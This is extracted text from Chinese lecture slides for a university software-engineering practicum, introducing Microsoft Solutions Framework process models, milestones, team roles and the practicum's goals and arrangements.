来组成一体。瀑布模型中由于有基于里程碑的计划，因此它有 可以预测项目的未来优点;而螺旋模型则有快速反馈和有创造力 的优点。MSF过程模型继承了它们的优点。 • 里程碑在MSF中是一个中心主题，MSF中用里程碑来计划和监 控项目的进程。 • MSF中的里程碑分为“主里程碑”和“中间里程碑”。
迭代的方法
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MSF过程模型——构思阶段成果
• 目标：创建一个关于项目的目标、限定条件和解决方案的架构 • 团队的工作重点：
• a) 确定业务问题和机会 • b) 确定所需的团队技能 • c) 收集初始需求 • d) 创建解决问题的方法 • e) 确定目标、假设和限定条件 • f) 建立配置与变更管理
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2020/11/14
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概述
• 实训目的 • 实训方式安排 • 实训参加人员角色介绍 • 实训项目简介 • 团队开发规范
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实训目的
•软件学院与软件公司 •个人开发和团队合作 •理论和实践 •体验软件公司 •体验软件开发流程和规 •则学习管理 •认识自己
• MSF 提供了一个灵活的和可伸缩的框架，其适应能力能够满足 任何项目（不论其规模和复杂性）的要求，以规划、构建和部 署业务驱动的技术解决方案。
• 作为一个框架，MSF 就提供了一种指导，而不会强迫实施很多 限制性的细节
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MSF 起源和简史
• 理解和使用技术变化所提供的机遇已经成为了组织里时间和资 源消耗的主要原因
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实训项目简介
• 详见 :
• 2013年 微软综合应用开发技术培训方案 （华中科技大学）.doc
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微软MSF解决方案框架 简介
• Microsoft® 解决方案框架 (MSF) 是一种成熟的、系统的技术 项目方法，它基于一套制定好的原理、模型、准则、概念、指 南，以及来自 Microsoft 的、经过检验的做法。接下来我们将 概述其基本原理、核心模型以及主要准则，并把重点放在如何 实训MSF流程讲解
不同的角色在不同的阶段起主要推动作 用
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MSF 各角色在不同阶段中的职能
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团队开发规范
• 角色共享的两个原则：
• 1、开发组成员不能共享角色。 • 2、不要试图组合具有一定利益冲突的角色
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实训中可以学到的
•身份的改变 •自我学习 •自我管理 •面对失败 •学会团队合作
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实训方式安排
一、团队开发，荣辱与共 二、基于CMMI 的MSF模型 三、企业化要求，角色分配 四、没有老师 五、项目最终可能失败
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